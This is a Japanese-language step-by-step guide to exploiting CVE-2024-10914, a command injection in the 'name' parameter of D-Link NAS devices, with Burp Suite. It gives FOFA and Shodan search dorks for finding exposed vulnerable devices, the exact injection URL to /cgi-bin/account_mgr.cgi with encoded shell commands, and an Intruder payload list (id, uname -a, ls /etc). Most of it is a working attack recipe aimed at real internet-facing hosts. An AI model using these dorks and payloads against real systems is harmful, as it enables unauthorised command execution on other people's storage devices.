
CVE-2024-10914_burpsuiteを使用した手動テスト
以下の検索 dork を使用して、潜在的に脆弱な D-Link NAS デバイスを見つけます:
FOFA:
app="D_Link-DNS-ShareCenter" && server=="lighttpd/1.4.25-devel-fb150ff"
SHODAN:
"http.title:D-Link" product:"lighttpd"
この検索文字列は、脆弱性の影響を受ける特定のバージョンの Lighttpd サーバーを実行している脆弱な D-Link DNS ShareCenter アプリを識別するのに役立ちます。
このガイドでは、Burp Suite を使用して D-Link NAS の name パラメータにあるコマンドインジェクション脆弱性 (CVE-2024-10914) を手動でテストする方法を段階的に説明します。ターゲット URL: http://Target。
127.0.0.1:8080 に設定)8080 の 127.0.0.1 に設定して、Burp Suite をプロキシとして使用するようにブラウザを設定します。http://Target にアクセスします。脆弱なパラメータを見つける: インターセプトされたリクエスト内の URL から name パラメータを見つけます。次のように表示されます:
/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;...;%27
テストコマンドを注入する: name パラメータに echo "test" などのテストコマンドを含むように変更します:
/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;echo%20%22test%22;%27
変更したリクエストを送信する: 変更したリクエストをサーバーに転送します。
レスポンスを確認する: レスポンス内で注入したコマンドの出力を探します。たとえば、サーバーが echo "test" を実行した場合、次のように表示されるはずです:
test
悪意のあるコマンドを注入する: テストが成功したら、次に示すようなより高度なコマンドを試します:
/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;id;%27
悪用リクエストを送信する: このリクエストをサーバーに転送します。
レスポンスを分析する: コマンドの出力 (例: ユーザー ID 情報) がレスポンスに含まれているか確認します。
Intruder を使用する: Burp Suite の Intruder ツールを使用してテストを自動化します。
name パラメータをペイロード位置として設定します。ペイロードの例:
echo "test"
id
uname -a
ls /etc
Intruder を開始する: Intruder 攻撃を実行して、複数のペイロードを自動的にテストします。